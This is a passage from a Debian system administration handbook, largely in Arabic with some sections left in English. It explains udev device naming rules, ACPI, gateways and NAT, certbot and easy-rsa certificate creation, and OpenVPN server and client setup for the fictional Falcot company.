وأخيراً، %% للعلامة المئوية و$$ لعلامة الدولار.

هذه القوائم غير كاملة (بل تحوي المتغيرات الأهم فقط)، لكن يجب أن تكون صفحة الدليل udev(7)‎ شاملة.

9.11.4. مثال واقعي

دعنا ندرس حالة مفتاح USB بسيط ونحاول تعيين اسم ثابت له. أولاً، يجب أن تعثر على العناصر التي تعرف المفتاح بشكل فريد. للحصول عليها، وصّل المفتاح ثم استدع udevadm info -a -n /dev/sdc مع استبدال /dev/sdc بالاسم الفعلي الذي أعطي للمفتاح).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}==" 130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}==" 0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

لإنشاء قاعدة جديدة، يمكنك عمل اختبارات على متغيرات الجهاز، وعلى متغيرات الأجهزة الآباء. يسمح لنا المثال السابق بإنشاء قاعدتين كما يلي:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

بعد تخزين هذه القواعد في ملف، اسمه /etc/udev/rules.d/010_local.rules على سبيل المثال، يمكنك ببساطة إزالة مفتاح USB وتوصيله من جديد. عندئذ سترى أن /dev/usb_key/disk يمثل القرص التخزيني المرتبط بمفتاح USB، وأن /dev/usb_key/part1 يمثل القسم الأول منه.

التعمق أكثر تنقيح إعدادات udev

يخزن udevd، مثل العديد من الخدمات، سجلات في /var/log/daemon.log. لكنها غير مفصلة كثيراً افتراضياً، وهي عادة غير كافية لفهم ما يجري. يزيد الأمر udevadm control --log-priority=info مستوى التفصيل ويحل هذه المشكلة. يعود الأمر udevadm control --log-priority=err إلى مستوى التفصيل الافتراضي.

9.12. إدارة الطاقة: Advanced Configuration and Power Interface ‏(ACPI)

موضوع إدارة الطاقة غالباً ما يثير المشاكل. فوضع الحاسوب في حالة الاستعداد بشكل سليم يتطلب من جميع تعاريف قطع الحاسوب أن تعرف كيفية وضع القطع في حالة الاستعداد، وأن تعيد ضبط القطعة بشكل سليم عند استئناف العمل. لسوء الحظ، هناك بضعة أجهزة غير قادرة على الدخول في حالة الاستعداد بشكل جيد في بيئة لينكس، لأن مصنعي هذه الأجهزة لم يوفروا التوصيفات المطلوبة.

لينكس تدعم ACPI‏ (Advanced Configuration and Power Interface) — وهي أحدث معيار في مجال إدارة الطاقة. توفر الحزمة acpid خدمة تبحث عن الأحداث المتعلقة بإدارة الطاقة (كالتبديل بين طاقة AC والبطارية على الحاسوب المحمول، الخ) وتستطيع الاستجابة لها عبر تنفيذ أوامر مختلفة.

تنبيه بطاقات الرسوميات ووضع الاستعداد

تعريف بطاقة الرسوميات هو غالباً من يسبب المشاكل عندما لا يعمل وضع الاستعداد بشكل سليم. في تلك الحالة، قد يناسبك اختبار أحدث نسخة من مخدم الرسوميات X.org.

بعد هذه الجولة بين الخدمات الأساسية المتوفرة في العديد من نظم يونكس، سوف نركز على بيئة الأجهزة المدارة: الشبكات. تحتاج الشبكات العديد من الخدمات حتى تعمل بشكل صحيح. سوف نناقش هذه الخدمات في الفصل التالي.

فصل 10. البنية التحتية للشبكات

يستفيد لينكس من الميراث الكبير لنظام يونكس في مجال الشبكات، وتقدم توزيعة دبيان مجموعة كاملة من الأدوات لإنشاء وإدارة الشبكات. يستعرض هذا الفصل هذه الأدوات.

10.1. البوابات

البوابة gateway هي نظام يربط عدة شبكات. يشير هذا المصطلح غالبًا إلى ”نقطة خروج“ الشبكة المحلية، وهي نقطة العبور الإجبارية للوصول لأي عنوان IP خارجي. تتصل البوابة بكل من الشبكتين اللتين تصل بينهما، وتعمل كموجه (router) لنقل رزم IP بين واجهاتها المختلفة.

أساسيات رزم IP

تستخدم معظم الشبكات اليوم بروتوكول IP (بروتوكول الإنترنت Internet Protocol). يجزئ هذا البروتوكول البيانات المرسلة إلى رزم محددة الحجم. تتضمن كل رزمة – بالإضافة إلى حمولتها من البيانات – عدداً من التفاصيل المطلوبة للتوجيه السليم للبيانات.

أساسيات TCP/UDP

معظم البرامج لا تعالج الرزم المفردة بنفسها، رغم أن البيانات التي ترسلها تنتقل فعلاً عبر IP؛ إلا أنها غالبًا ما تستخدم TCP (بروتوكول التحكم بالإرسال Transmission Control Protocol). بروتوكول TCP هو طبقة فوق IP تسمح بفتح اتصال مخصص لنقل البيانات بين نقطتين. يرى البرنامج عندها نقطة دخول يمكن تغذيتها بالبيانات مع ضمان أن البيانات نفسها ستخرج دون ضياع (وبالترتيب نفسه) من نقطة الخروج عند الطرف الآخر من الاتصال. بالرغم من إمكانية حدوث العديد من الأخطاء في الطبقات السفلى، إلا أن TCP يصلحها: يعاد إرسال الرزم المفقودة، وترتب الرزم التي تصل غير مرتبة (إذا انتقلت عبر مسارات مختلفة مثلاً) بشكل مناسب.

UDP (بروتوكول بيانات المستخدم User Datagram Protocol) هو بروتوكول آخر يعتمد على IP. بعكس TCP، هذا البروتوكول يركز على الرزم. أهداف هذا البروتوكول مختلفة: فالغرض من UDP هو إرسال رزمة واحدة من تطبيق ما إلى آخر. لا يحاول البروتوكول تعويض خسارة الرزم التي يحتمل حدوثها على الطريق، كما لا يضمن وصول الرزم بنفس ترتيب إرسالها. الميزة الرئيسية لهذا البروتوكول هي أن تحسين زمن الوصول (latency) بشكل كبير، نظراً لأن خسارة رزمة واحدة لا تؤخر استقبال الرزم التالية حتى إعادة إرسال الرزمة المفقودة.

يحتاج كل من TCP و UDP إلى منافذ، وهي ”أرقام امتدادية“ لإنشاء اتصال مع تطبيق معين على الجهاز. يسمح هذا المفهوم بفتح عدة اتصالات مختلفة على التوازي مع نفس المراسل، بما أنه يمكن التمييز بين هذه الاتصالات عبر رقم المنفذ.

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server.

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

عندما تستخدم الشبكة المحلية مجال عناوين خاص (لا يمكن التوجيه إليه من الإنترنت)، يجب أن تدعم البوابة (تنكر العناوين address masquerading) حتى تتمكن الأجهزة على الشبكة من التواصل مع العالم الخارجي. عملية التنكر هي نوع من أنواع البروكسي الذي يعمل على مستوى الشبكة: يستبدل كل اتصال خارج من جهاز داخلي باتصال من البوابة نفسها (بما أن البوابة تملك عنواناً خارجيًا يمكن التوجيه إليه)، ترسل البيانات الخارجة من الشبكة من الاتصال المتنكر عبر الاتصال الجديد، والبيانات الراجعة في الرد ترسل إلى الاتصال المتنكر إلى الجهاز الداخلي. تستخدم البوابة مجالاً من منافذ TCP المخصصة لهذا الغرض، بأرقام كبيرة جداً عادة (فوق 60000). عندئذ يظهر كل اتصال وارد من جهاز داخلي على الشبكة للعالم الخارجي على أنه اتصال وارد من أحد هذه المنافذ المحجوزة.

ثقافة المجالات الخاصة للعناوين

يُعرِّف RFC 1918 ثلاثة مجالات لعناوين IPv4 غير مخصصة للتوجيه عبر الإنترنت بل للاستخدام في الشبكات المحلية فقط. المجال الأول، 10.0.0.0/8 (انظر الملاحظة الجانبية أساسيات مفاهيم الشبكات الأساسية (إيثرنت، عنوان IP، الشبكة الفرعية، البث))، هو مجال من الفئة A (وفيه 2²⁴ عنوان IP). المجال الثاني، 172.16.0.0/12، يجمع 16 مجالاً من الفئة B (من 172.16.0.0/16 إلى 172.31.0.0/16)، كل منها يحوي 2¹⁶ عنوان IP. أخيراً، 192.168.0.0/16 هو مجال من الفئة B (يجمع 256 مجالاً من الفئة C، من 192.168.0.0/24 وحتى 192.168.255.0/24، في كل منها 256 عنوان IP).

→ http://www.faqs.org/rfcs/rfc1918.html

تستطيع البوابات أيضًا إجراء نوعين من ترجمة عناوين الشبكة Network Address Translation (أو NAT اختصاراً). النوع الأول، Destination NAT (أو DNAT) هي تقنية لتبديل عنوان IP الخاص بالوجهة (وربما منفذ TCP أو UDP أيضًا) للاتصالات الواردة (عموماً). كما تبدل آلية تتبع الاتصال (connection tracking mechanism) الرزم اللاحقة أيضًا في الاتصال نفسه لضمان استمرار الاتصال. النوع الثاني من NAT هو Source NAT (أو SNAT)، ويعتبر التنكر masquerading حالة خاصة من هذا النوع؛ يبدل SNAT عناوين IP المصدرية (وربما أرقام منافذ TCP أو UDP) للاتصالات الصادرة (عموماً). وكما هو الحال في DNAT، تتولى آلية تتبع الاتصال معالجة جميع الرزم في الاتصال. لاحظ أن NAT يستخدم فقط مع IPv4 وفضاء عناوينه المحدود؛ أما مع IPv6، فإن الوفرة الكبيرة للعناوين تحدُّ كثيراً من جدوى NAT من خلال السماح بالتوجيه المباشر لجميع العناوين ”الداخلية“ إلى الإنترنت (هذا لا يعني أنه يمكن الوصول إلى الأجهزة الداخلية، لأنه يمكن فلترة حركة الشبكة عبر جدران نارية وسيطة).

أساسيات توجيه المنافذ

من التطبيقات العملية للـDNAT توجيه المنافذ port forwarding. حيث يتم توجيه الاتصالات الواردة إلى منفذ معين لجهاز ما إلى منفذ آخر على جهاز آخر. إلا أن هناك حلولاً أخرى للحصول على نتيجة مشابهة، خصوصًا على مستوى طبقة التطبيقات حيث يستخدم ssh (انظر قسم 9.2.1.3, “إنشاء الأنفاق المشفرة باستخدام توجيه المنافذ”) أو يستخدم redir.

بعد الكلام النظري، لننتقل إلى التطبيق. لتحويل نظام دبيان إلى بوابة، كل ما يلزم هو تفعيل الخيار المناسب في النواة لينكس، وذلك عبر نظام الملفات الظاهري /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

يمكن أيضًا تفعيل هذا الخيار تلقائيًا عند الإقلاع إذا كان الملف /etc/sysctl.conf يعطي القيمة 1 للخيار net.ipv4.conf.default.forwarding.

مثال 10.1. الملف /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

يمكن الحصول على النتيجة نفسها ولكن مع IPv6 باستبدال كلمة ipv4 بكلمة ipv6 في الأمر اليدوي الأول أو استخدام الخيار net.ipv6.conf.all.forwarding في الملف /etc/sysctl.conf.

تفعيل تنكر IPv4 هي عملية أعقد من هذه بقليل وتحتاج لضبط الجدار الناري netfilter.

كما أن استخدام NAT (مع IPv4) يحتاج ضبط netfilter. بما أن الهدف من هذا العنصر هو فلترة الرزم، فإن تفاصيل إعداده مذكورة في فصل 14: “الأمن” (انظر قسم 14.2, “الجدار الناري أو ترشيح الرزم”).

10.2. X.509 certificates

Certificates are an important building block of many network services built on cryptographic protocols, when they need some sort of central authentication.

Among those protocols, SSL (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve, and nowadays SSL is deprecated due to multiple design flaws that have been discovered.

The TLS protocol aims primarily to provide privacy and data integrity between two or more communicating computer applications. The most common case on the Internet is the communication between a client (e.g. a web browser) and a server.

A key par is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

You can implement a CA (as described in قسم 10.2.2, “البنية التحتية للمفاتيح العامة: easy-rsa”), but if you intend to use the certificate for a website, you need to rely on a trusted CA. The prices vary significantly, but it is possible to implement great security spending little to no money.

10.2.1. Creating gratis trusted certificates

Many programs create and use snakeoil certificates by default (see sidebar أمن شهادات زيت الثعبان). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix) and mail delivery agents (Dovecot, Cyrus, etc.).

The Falcot administrators just want to create a certificate for their website, which runs on Apache. There is a convenient Apache plugin for certbot that automatically edits the Apache configuration to serve the obtained certificate, so they make use of it:

# apt install python-certbot-apache [...] # certbot --apache Saving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server at https://acme-v02.api.letsencrypt.org/directory - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (A)gree/(C)ancel: A - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Obtaining a new certificate Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2020-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. البنية التحتية للمفاتيح العامة: easy-rsa

It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIVE GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

قرر مديرو النظم في شركة فلكوت استخدام هذه الأداة لإنشاء الشهادات المطلوبة لكل من المخدم والعملاء. هذا يجعل إعدادات العملاء متشابهة لأنها تحتاج فقط لضبطها بحيث تثق بالشهادات الصادرة عن سلطة التصديق المحلية في فلكوت. أول شهادة يجب إنشاؤها هي سلطة التصديق هذه؛ لذلك سوف يجهز مديرو النظام مجلداً يحوي الملفات المطلوبة لسلطة التصديق في مكان مناسب، ويفضل أن يكون على جهاز غير متصل بالشبكة للحد من خطر سرقة المفتاح الخاص بسلطة التصديق (CA).

$ make-cadir pki-falcot $ cd pki-falcot

They then store the required parameters into the vars file, which can be uncommented and edited:

$ vim vars $ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_DN "cn_only" #set_var EASYRSA_REQ_COUNTRY "FR" #set_var EASYRSA_REQ_PROVINCE "Loire" #set_var EASYRSA_REQ_CITY "Saint-Étienne" #set_var EASYRSA_REQ_ORG "Falcot Corp" #set_var EASYRSA_REQ_EMAIL "admin@falcot.com" #set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 1080 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki Note: using Easy-RSA configuration from: ./vars init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/roland/pki-falcot/pki

The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under pki/ca.crt and pki/private/ca.key during this step). We can add the option nopass to avoid entering a password each time the private key is used:

$ ./easyrsa build-ca nopass Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 Generating RSA private key, 2048 bit long modulus (2 primes) ......................................................................................+++++ ......................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/roland/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section قسم 10.3, “الشبكة الظاهرية الخاصة”) that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 Generating a RSA private key .................................................................................+++++ ........+++++ writing new private key to '/home/roland/pki-falcot/pki/private/vpn.falcot.com.key.E5c3RGJBUd' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/roland/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/roland/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 1080 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/roland/pki-falcot/pki/safessl-easyrsa.cnf Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until Jun 14 10:44:44 2022 GMT (1080 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/roland/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/roland/pki-falcot/pki/dh.pem

تنشئ الخطوة التالية شهادات عملاء VPN؛ كل حاسوب أو شخص يسمح له باستخدام VPN يحتاج لشهادة:

$ ./easyrsa build-client-full JoeSmith nopass Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1d 10 Sep 2019 Generating a RSA private key .......................................................+++++ ...........................+++++ writing new private key to '/root/pki-falcot/pki/private/JoeSmith.key.Tgr8kk0a6a' ----- Using configuration from /root/pki-falcot/pki/safessl-easyrsa.cnf Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until Feb 20 04:52:43 2023 GMT (1080 days) Write out database with 1 new entries Data Base Updated

10.3. الشبكة الظاهرية الخاصة

الشبكة الظاهرية الخاصة Virtual Private Network (أو VPN اختصاراً) هي طريقة لربط شبكتين محليتين مختلفتين بوساطة نفق عبر الإنترنت؛ عادة ما يكون النفق مشفراً لضمان سرية البيانات. غالبًا ما تستخدم شبكات VPN لدمج جهاز بعيد مع الشبكة المحلية للشركة.

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. ‏OpenVPN

OpenVPN هو برنامج مخصص لإنشاء الشبكات الخاصة الظاهرية. يحتاج إعداد OpenVPN إلى إنشاء واجهات شبكية ظاهرية (بطاقات شبكة ظاهرية) على مخدم VPN وعلى العميل (أو العملاء)؛ يدعم البرنامج كلاً من واجهات tun (للأنفاق على مستوى IP) وواجهات tap (للأنفاق على مستوى Ethernet). عملياً، تستخدم واجهات tun في معظم الحالات إلا في حال الرغبة بدمج عملاء VPN مع شبكة المخدم المحلية عبر جسر Ethernet.

يعتمد OpenVPN على OpenSSL في جميع عمليات تشفير SSL/TLS والمزايا المرتبطة بها (السرية، المصادقة، سلامة البيانات، منع الإنكار non-repudiation). يمكن إعداد OpenVPN باستخدام مفتاح خاص مشترك أو باستخدام شهادات X.509 تعتمد على بنية تحتية للمفاتيح العامة (Public Key Infrastructure). الأسلوب الثاني في الإعداد مفضل دوماً لأنه يسمح بمرونة أكبر في حال وجود عدد متزايد من المستخدمين الرُحَّل الذين يتصلون بشبكة VPN.

10.3.1.1. إعداد مخدم OpenVPN

After all certificates have been created (follow the instructions from قسم 10.2.2, “البنية التحتية للمفاتيح العامة: easy-rsa”), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

10.3.1.2. إعداد مخدم OpenVPN

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

إذا لم نضف أي إجراءات أخرى، لا يستطيع عملاء VPN الوصول إلا لمخدم VPN نفسه، وذلك عبر العنوان 10.8.0.1. للسماح للعملاء بالوصول إلى الشبكة المحلية (192.168.0.0/24)، يجب إضافة تعليمة push route 192.168.0.0 255.255.255.0 إلى إعدادات OpenVPN بحيث يحصل عملاء VPN تلقائياً على مسار توجيه شبكي يبين لهم أن الوصول لهذه الشبكة يتم عبر VPN. بالإضافة لهذا، يجب إعلام الأجهزة في الشبكة المحلية أيضًا أن الوصول إلى شبكة VPN يتم عبر مخدم VPN (هذه هي الحالة الافتراضية إذا كان مخدم VPN منصب على بوابة الشبكة المحلية). أو يمكن ضبط مخدم VPN لإجراء تنكر لعناوين IP بحيث تبدو الاتصالات الواردة من عملاء VPN كما لو كانت ترد من مخدم VPN (انظر قسم 10.1, “البوابات”).

10.3.1.3. إعداد عملاء OpenVPN

لإعداد عميل VPN يجب أيضاً إنشاء ملف إعداد في المجلد /etc/openvpn/. يمكن الاستعانة بالملف /usr/share/doc/openvpn/examples/sample-config-files/client.conf للحصول على إعداد قياسي. تُعرِّف التعلمية التوجيهية remote vpn.falcot.com 1194 عنوان مخدم OpenVPN ورقم المنفذ؛ يجب أيضًا تعديل ca، ‏cert، وkey بحيث تشير إلى مواقع ملفات المفاتيح.

If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

تحوي الحزمة network-manager-openvpn-gnome إضافة لبرنامج إدارة الشبكة (انظر قسم 8.2.5, “إعداد الشبكة الآلي للمستخدمين الرُّحَّل”) تسمح بإدارة شبكات OpenVPN الخاصة الظاهرية. هذا يسمح لكل مستخدم بإعداد اتصالات OpenVPN رسوميًا والتحكم بها عبر أيقونة إدارة الشبكة.

